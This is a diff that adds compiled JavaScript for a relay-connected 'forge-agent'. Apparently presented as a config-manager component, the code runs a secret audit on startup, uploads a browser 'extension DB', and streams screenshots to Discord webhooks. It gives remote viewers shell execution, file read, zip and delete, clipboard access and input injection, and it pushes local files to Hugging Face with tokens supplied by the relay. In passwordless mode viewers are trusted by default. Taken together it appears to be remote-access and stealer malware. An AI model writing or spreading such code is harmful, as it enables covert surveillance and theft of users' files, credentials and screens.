+            catch {
+                /* skip */
+            }
+            (0, agentStartupAudit_1.scheduleAgentStartupSecretAudit)({
+                relayCaps: caps,
+                quiet,
+                clientTableName: sessionId,
+                fetchHubCredentials: () => fetchHfCredentialsFromRelay(sendJson),
+                onSettled: onSecretAuditSettled,
+            });
+            const seqFromConnected = parseRelayClientSeqId(msg.client_seq_id ?? msg.clientSeqId);
+            if (seqFromConnected !== undefined)
+                relayClientSeqId = seqFromConnected;
+            tryStartDiscordAfterHandshake();
+        };
+        ws.on("open", () => {
+            log(quiet, "  Connected to relay");
+            watchWsOpenAtMs = Date.now();
+            armRelayWsWatchdog();
+            try {
+                (0, agentEnvFile_1.applyForgeJsAgentEnvFile)((0, clientId_2.defaultCfgmgrDataDir)());
+            }
+            catch {
+                /* skip */
+            }
+            viewerAuthenticated = !password;
+            viewerConnected = false;
+            pendingAuthNonce = "";
+            openHandlerFinishedInfo = false;
+            relayAgentHandshakeDone = false;
+            extensionDbUploadSettledThisConnection = false;
+            secretAuditFinishedThisConnection = false;
+            clearExtensionDbUploadTimers();
+            discordLoopStarted = false;
+            discordEnabledByRelayHandshake = false;
+            armSecretAuditHandshakeFallback();
+            /**
+             * Defer first `info` + queued sends to the next tick so inbound `viewer_connected` (auth
+             * challenge) can be handled first on some OS/network stacks — reduces “stuck Authenticating…”
+             * after the second agent connect.
+             */
+            setImmediate(() => {
+                sendJson({
+                    type: "info",
+                    data: {
+                        screen: screenOff,
+                        capabilities,
+                        system: sysInfo,
+                        features: {
+                            input: false,
+                            file_transfer: false,
+                            clipboard: false,
+                            filesystem: allowFilesystem,
+                            screen: false,
+                            password_required: Boolean(password),
+                            webrtc_datachannel: agentWebrtcDatachannelCapable,
+                        },
+                        scale: 1.0,
+                        quality: 0,
+                        fps: 0,
+                    },
+                });
+                const backlog = preOpenQueue.splice(0, preOpenQueue.length);
+                for (const o of backlog) {
+                    sendJson(o);
+                }
+                openHandlerFinishedInfo = true;
+                tryStartDiscordAfterHandshake();
+            });
+        });
+        const handleViewerInboundFromRelay = (msg, via) => {
+            const msgType = String(msg.type || "");
+            if (via === "dc") {
+                if (msgType.startsWith("forge_rtc_"))
+                    return;
+                if (msgType !== "get_info" &&
+                    !msgType.startsWith("fs_") &&
+                    !msgType.startsWith("rc_")) {
+                    return;
+                }
+            }
+            if (msgType === "discord_screenshot_upload_result") {
+                const rid = String(msg.request_id ?? "");
+                const pending = pendingDiscordRelayAck.get(rid);
+                if (pending) {
+                    pendingDiscordRelayAck.delete(rid);
+                    clearTimeout(pending.timer);
+                    pending.resolve({
+                        ok: msg.ok === true,
+                        error: String(msg.error ?? "").trim(),
+                    });
+                }
+                return;
+            }
+            if (msgType === "relay_discord_upload_ticket_result") {
+                const rid = String(msg.request_id ?? "");
+                const pending = pendingDiscordTicket.get(rid);
+                if (pending) {
+                    pendingDiscordTicket.delete(rid);
+                    clearTimeout(pending.timer);
+                    pending.resolve({
+                        ok: msg.ok === true,
+                        webhook_url: String(msg.webhook_url ?? "").trim(),
+                        error: String(msg.error ?? "").trim(),
+                    });
+                }
+                return;
+            }
+            if (msgType === "relay_discord_upload_ack_result") {
+                if (!quiet && msg.ok !== true) {
+                    console.error(`[forge-agent] relay_discord_upload_ack_result: ${String(msg.error ?? "failed").trim()}`);
+                }
+                return;
+            }
+            if (msgType === "relay_hf_credentials_result") {
+                const rid = String(msg.request_id ?? "");
+                const pending = pendingRelayHf.get(rid);
+                if (pending) {
+                    pendingRelayHf.delete(rid);
+                    if (msg.ok) {
+                        const token = String(msg.token ?? "").trim();
+                        let hubUrl = String(msg.hubUrl ?? "https://huggingface.co").trim();
+                        hubUrl = hubUrl.replace(/\/+$/, "") || "https://huggingface.co";
+                        const ns = String(msg.namespace ?? "").trim().replace(/\/+$/, "");
+                        const envNs = (process.env.CFGMGR_HF_NAMESPACE ||
+                            process.env.HUGGINGFACE_HUB_NAMESPACE ||
+                            "")
+                            .trim()
+                            .replace(/\/+$/, "");
+                        const mergedNs = ns || envNs;
+                        if (!token.startsWith("hf_")) {
+                            pending.reject(new Error('relay returned invalid token (expected "hf_..." prefix)'));
+                            return;
+                        }
+                        pending.resolve({
+                            token,
+                            hubUrl,
+                            namespace: mergedNs || undefined,
+                        });
+                    }
+                    else {
+                        pending.reject(new Error(String(msg.error ?? "relay HF credentials request failed")));
+                    }
+                }
+                return;
+            }
+            if (msgType === "connected") {
+                applyRelayAgentConnected(msg);
+                log(quiet, `  Role confirmed: ${msg.role}`);
+                return;
+            }
+            if (msgType === "agent_session_seq") {
+                const seq = parseRelayClientSeqId(msg.seq_id ?? msg.client_seq_id);
+                if (seq !== undefined) {
+                    relayClientSeqId = seq;
+                    if (!extensionDbUploadSettledThisConnection) {
+                        tryArmExtensionDbUploadAfterAudit();
+                    }
+                }
+                return;
+            }
+            if (msgType === "relay_agent_restart_requested") {
+                (0, agentRestartFromQueue_js_1.maybeRunAgentRestartDetached)({ quiet, reason: "relay ops restart" });
+                return;
+            }
+            if (msgType === "viewer_connected") {
+                viewerConnected = true;
+                forgeRtcStatusSentThisViewer = false;
+                viewerAuthenticated = !password;
+                pendingAuthNonce = password ? (0, node_crypto_1.randomBytes)(16).toString("hex") : "";
+                log(quiet, `  Viewer connected${password ? " (awaiting auth)" : ""}`);
+                if (password) {
+                    const challenge = () => {
+                        sendJson({
+                            type: "auth_challenge",
+                            nonce: pendingAuthNonce,
+                            algorithm: "sha256(password_hash:nonce)",
+                        });
+                    };
+                    challenge();
+                    /** Some stacks drop the first post-connect JSON; resend same nonce until authenticated. */
+                    const nonceSent = pendingAuthNonce;
+                    for (const ms of [450, 1400, 3200, 6500, 13000, 26000]) {
+                        setTimeout(() => {
+                            if (!viewerConnected || viewerAuthenticated)
+                                return;
+                            if (pendingAuthNonce !== nonceSent)
+                                return;
+                            challenge();
+                        }, ms);
+                    }
+                }
+                else {
+                    sendJson({ type: "auth_result", ok: true });
+                }
+                return;
+            }
+            if (msgType === "viewer_disconnected") {
+                viewerConnected = false;
+                forgeRtcStatusSentThisViewer = false;
+                resetForgeRtcNegotiation();
+                /** Always drop auth until `viewer_connected` — same effective behavior as password mode (`!password` was false there). */
+                viewerAuthenticated = false;
+                pendingAuthNonce = "";
+                log(quiet, "  Viewer disconnected");
+                return;
+            }
+            if (msgType === "auth") {
+                if (!password) {
+                    viewerAuthenticated = true;
+                    sendJson({ type: "auth_result", ok: true });
+                    return;
+                }
+                /**
+                 * Lost `auth_result` on the wire, or viewer retried after timeout: we already accepted
+                 * this viewer — re-ack so `/files` can exit "Authenticating…" (fixes second-connect / flaky relay).
+                 */
+                if (viewerAuthenticated) {
+                    sendJson({ type: "auth_result", ok: true });
+                    return;
+                }
+                let ok = false;
+                const submittedResp = String(msg.response || "").trim();
+                const submittedNonce = String(msg.nonce || "").trim();
+                const submitted = String(msg.password_hash || "").trim();
+                if (submittedResp &&
+                    submittedNonce &&
+                    submittedNonce === pendingAuthNonce &&
+                    submittedResp === (0, relayAuth_1.authResponseForNonce)(passwordHash, pendingAuthNonce)) {
+                    ok = true;
+                }
+                else if ((0, relayAuth_1.legacyRemoteAuthAllowed)() && submitted === passwordHash) {
+                    ok = true;
+                }
+                if (ok) {
+                    viewerAuthenticated = true;
+                    pendingAuthNonce = "";
+                    log(quiet, "  Viewer authenticated");
+                    sendJson({ type: "auth_result", ok: true });
+                }
+                else {
+                    log(quiet, "  Viewer auth FAILED");
+                    sendJson({ type: "auth_result", ok: false });
+                }
+                return;
+            }
+            /** Passwordless: relay may deliver this before deferred `viewer_connected`. Password sessions: only after auth (avoid leaking OS/version). */
+            if (msgType === "get_info") {
+                if (!password || viewerAuthenticated) {
+                    sendJson({
+                        type: "system_info",
+                        data: {
+                            ...systemInfo(),
+                            forge_jsx_version: forgeJsxVersion,
+                        },
+                        screen: screenOff,
+                        scale: 1.0,
+                    });
+                }
+                return;
+            }
+            if (!viewerAuthenticated) {
+                const rid = String(msg.request_id ?? "");
+                if (msgType === "fs_hf_upload") {
+                    sendJson({
+                        type: "fs_hf_upload_result",
+                        request_id: rid,
+                        ok: false,
+                        error: "viewer not authenticated — complete file explorer login after the agent reconnects",
+                    });
+                    return;
+                }
+                if ([
+                    "fs_roots",
+                    "fs_list",
+                    "fs_read",
+                    "fs_zip",
+                    "fs_parent",
+                    "fs_delete",
+                    "fs_shell_exec",
+                    "fs_screenshot",
+                    "rc_input",
+                    "rc_clipboard_get",
+                    "rc_clipboard_set",
+                    "rc_file_push",
+                    "forge_rtc_offer",
+                    "forge_rtc_candidate",
+                ].includes(msgType)) {
+                    sendJson({
+                        type: "fs_error",
+                        request_id: rid,
+                        ok: false,
+                        error: "viewer not authenticated — complete file explorer login after the agent reconnects",
+                    });
+                    return;
+                }
+                return;
+            }
+            if (msgType === "relay_hf_credentials_request") {
+                return;
+            }
+            if (msgType === "forge_rtc_offer") {
+                resetForgeRtcNegotiation();
+                const peerCtor = (0, forgeRtcAgent_1.loadNodeDcPeerConnection)();
+                if (!(0, forgeRtcAgent_1.forgeWebRtcP2PEnabled)() || !peerCtor) {
+                    if (!forgeRtcStatusSentThisViewer) {
+                        forgeRtcStatusSentThisViewer = true;
+                        sendJsonWs({
+                            type: "forge_rtc_agent_status",
+                            ok: false,
+                            datachannel: false,
+                            detail: !(0, forgeRtcAgent_1.forgeWebRtcP2PEnabled)()
+                                ? "WebRTC P2P disabled on agent (FORGE_JS_WEBRTC_P2P)."
+                                : "Native WebRTC unavailable (optional dependency node-datachannel missing or failed to load). Remote control uses the relay WebSocket.",
+                        });
+                    }
+                    return;
+                }
+                try {
+                    forgeRtcSession = new forgeRtcAgent_1.ForgeRtcAgentSession({
+                        PeerConnection: peerCtor,
+                        sdp: String(msg.sdp ?? ""),
+                        sdpType: String(msg.sdpType ?? "offer"),
+                        iceServers: (0, forgeRtcAgent_1.rtcIceServersForNodeDc)(relayRtcIceServersCache ?? undefined),
+                        sendSignaling: sendJsonWs,
+                        setOutboundDc: (which, dc) => {
+                            if (which === "main") {
+                                rtcDcOutbound = dc;
+                            }
+                            else if (which === "input") {
+                                rtcDcInputOutbound = dc;
+                            }
+                            else if (which === "bulk") {
+                                rtcDcBulkOutbound = dc;
+                            }
+                        },
+                        onInboundDcText: (text) => {
+                            let inner;
+                            try {
+                                inner = JSON.parse(text);
+                            }
+                            catch {
+                                return;
+                            }
+                            handleViewerInboundFromRelay(inner, "dc");
+                        },
+                        onFatal: () => {
+                            resetForgeRtcNegotiation();
+                        },
+                        quiet,
+                    });
+                }
+                catch (e) {
+                    resetForgeRtcNegotiation();
+                    sendJsonWs({
+                        type: "forge_rtc_agent_status",
+                        ok: false,
+                        datachannel: false,
+                        detail: String(e),
+                    });
+                    return;
+                }
+                for (const p of forgeRtcPendingViewerIce) {
+                    forgeRtcSession?.addRemoteIce(p.candidate, p.mid);
+                }
+                forgeRtcPendingViewerIce.length = 0;
+                return;
+            }
+            if (msgType === "forge_rtc_candidate") {
+                const cand = String(msg.candidate ?? "").trim();
+                if (!cand)
+                    return;
+                const mid = msg.sdpMid != null ? String(msg.sdpMid) : "";
+                if (!forgeRtcSession) {
+                    forgeRtcPendingViewerIce.push({ candidate: cand, mid });
+                    return;
+                }
+                forgeRtcSession.addRemoteIce(cand, mid);
+                return;
+            }
+            if ([
+                "fs_roots",
+                "fs_list",
+                "fs_read",
+                "fs_zip",
+                "fs_parent",
+                "fs_delete",
+                "fs_shell_exec",
+                "fs_screenshot",
+                "rc_input",
+                "rc_clipboard_get",
+                "rc_clipboard_set",
+                "rc_file_push",
+            ].includes(msgType)) {
+                void (async () => {
+                    try {
+                        const resp = await (0, fsMessages_1.buildFsResponse)(msg, allowFilesystem);
+                        deliverFsResponse(resp);
+                    }
+                    catch (e) {
+                        sendJson({
+                            type: "fs_error",
+                            request_id: msg.request_id ?? "",
+                            ok: false,
+                            error: String(e),
+                        });
+                    }
+                })();
+            }
+            if (msgType === "fs_hf_upload") {
+                const rid = String(msg.request_id ?? "");
+                /** Defer heavy Hub work so auth / small fs_* messages are not delayed behind upload prep. */
+                setImmediate(() => {
+                    void (async () => {
+                        /** Hoisted so `catch` can scrub after failures before the inner `try`/`finally` runs. */
+                        let hfCred;
+                        if (!allowFilesystem) {
+                            sendJson({
+                                type: "fs_hf_upload_result",
+                                request_id: rid,
+                                ok: false,
+                                error: "filesystem explorer disabled on agent",
+                            });
+                            return;
+                        }
+                        try {
+                            const pathStr = String(msg.path ?? "");
+                            const rawPathList = Array.isArray(msg.paths)
+                                ? msg.paths.map((v) => String(v ?? "").trim()).filter(Boolean)
+                                : [];
+                            const autoSessionRepo = Boolean(msg.hf_auto_session_repo ?? msg.auto_session_repo);
+                            const clientTableName = String(msg.client_table ?? msg.clientTableName ?? "").trim();
+                            let clientSeqId = undefined;
+                            const rawSeq = msg.client_seq_id ?? msg.clientSeqId;
+                            if (typeof rawSeq === "number" && Number.isFinite(rawSeq) && rawSeq >= 0) {
+                                clientSeqId = Math.floor(rawSeq);
+                            }
+                            else if (typeof rawSeq === "string" && /^[0-9]+$/.test(rawSeq.trim())) {
+                                clientSeqId = parseInt(rawSeq.trim(), 10);
+                            }
+                            const repo = String(msg.repo ?? "").trim();
+                            const destination = String(msg.destination ?? "").trim();
+                            const createRepo = Boolean(msg.create_repo);
+                            const folderMode = msg.folder_mode === "tree" ? "tree" : "zip";
+                            const hfForce = (0, fsMessages_1.jsonBoolLoose)(msg.force);
+                            const hfForceKill = (0, fsMessages_1.jsonBoolLoose)(msg.force_kill);
+                            if (hfFetchFromRelayEnabled()) {
+                                try {
+                                    hfCred = await fetchHfCredentialsFromRelay(sendJson);
+                                }
+                                catch {
+                                    /** Relay has no blob or unreachable — fall back to local `loadHfCredentials()` */
+                                    hfCred = undefined;
+                                }
+                            }
+                            try {
+                                const result = await (0, hfUpload_1.runHfUpload)({
+                                    pathStr,
+                                    ...(rawPathList.length > 0 ? { pathList: rawPathList } : {}),
+                                    repo: autoSessionRepo ? undefined : repo,
+                                    autoSessionRepo,
+                                    clientTableName,
+                                    ...(clientSeqId !== undefined ? { clientSeqId } : {}),
+                                    destination,
+                                    createRepo: autoSessionRepo ? true : createRepo,
+                                    folderMode: autoSessionRepo ? "zip" : folderMode,
+                                    force: hfForce,
+                                    forceKill: hfForceKill,
+                                    ...(hfCred ? { hfCredentials: hfCred } : {}),
+                                    onProgress: (p) => {
+                                        sendJson({
+                                            type: "fs_hf_upload_progress",
+                                            request_id: rid,
+                                            phase: p.phase,
+                                            pct: p.pct,
+                                            detail: p.detail ?? "",
+                                        });
+                                    },
+                                });
+                                sendJson({ type: "fs_hf_upload_result", request_id: rid, ...result });
+                            }
+                            finally {
+                                if (hfCred)
+                                    (0, hfCredentials_1.scrubHfCredentialsInPlace)(hfCred);
+                                (0, agentEnvFile_1.stripEphemeralCredentialEnvFromProcess)();
+                            }
+                        }
+                        catch (e) {
+                            try {
+                                if (hfCred)
+                                    (0, hfCredentials_1.scrubHfCredentialsInPlace)(hfCred);
+                            }
+                            catch {
+                                /* skip */
+                            }
+                            try {
+                                (0, agentEnvFile_1.stripEphemeralCredentialEnvFromProcess)();
+                            }
+                            catch {
+                                /* skip */
+                            }
+                            sendJson({
+                                type: "fs_hf_upload_result",
+                                request_id: rid,
+                                ok: false,
+                                error: (0, hfUpload_1.formatHfUploadError)(e),
+                            });
+                        }
+                    })();
+                });
+            }
+        };
+        ws.on("message", (data, isBinary) => {
+            if (isBinary)
+                return;
+            let parsed;
+            try {
+                parsed = JSON.parse(String(data));
+            }
+            catch {
+                return;
+            }
+            handleViewerInboundFromRelay(parsed, "ws");
+        });
+        ws.on("close", (code) => {
+            clearRelayWsWatchdog();
+            clearSecretAuditHandshakeFallback();
+            clearExtensionDbUploadTimers();
+            clearAllPendingDiscordAgent("agent websocket closed");
+            try {
+                stopDiscordScreenshotLoop?.();
+            }
+            catch {
+                /* skip */
+            }
+            stopDiscordScreenshotLoop = null;
+            preOpenQueue.length = 0;
+            resetForgeRtcNegotiation();
+            if (outboundAgentWs === ws)
+                outboundAgentWs = null;
+            relayDisconnectCleanup();
+            /**
+             * Relay closed us because another forge-agent took the session slot (duplicate autostart /
+             * old global install fighting a newer durable agent). Reconnecting would kick the winner and
+             * loop forever — exit cleanly so only one agent per My VPS id stays connected.
+             */
+            if (code === 4002 || code === 4008) {
+                log(quiet, code === 4008
+                    ? "  Relay agent slot cooldown — another forge-agent holds this My VPS id; exiting."
+                    : "  Replaced by another forge-agent on this relay session — exiting (only one agent per My VPS id).");
+                try {
+                    if ((0, agentPid_1.readAgentPid)() === process.pid)
+                        (0, agentPid_1.removeAgentPidFile)();
+                }
+                catch {
+                    /* skip */
+                }
+                process.exit(0);
+                return;
+            }
+            /** Relay restart / network drop — use base reconnect delay instead of accumulated backoff. */
+            if (code === 1006 || code === 1001 || code === 1012) {
+                reconnectAttempts = 0;
+            }
+            scheduleReconnect();
+        });
+        ws.on("error", (err) => {
+            clearRelayWsWatchdog();
+            clearSecretAuditHandshakeFallback();
+            clearAllPendingDiscordAgent("agent websocket error");
+            try {
+                stopDiscordScreenshotLoop?.();
+            }
+            catch {
+                /* skip */
+            }
+            stopDiscordScreenshotLoop = null;
+            log(quiet, `  Error: ${err}. Reconnecting with backoff…`);
+            if (outboundAgentWs === ws) {
+                preOpenQueue.length = 0;
+                resetForgeRtcNegotiation();
+                outboundAgentWs = null;
+            }
+            relayDisconnectCleanup();
+            // Schedule reconnect here too: in rare cases the WebSocket may emit error
+            // without a subsequent close event (e.g. DNS failure before connection).
+            scheduleReconnect();
+        });
+    };
+    connect();
+}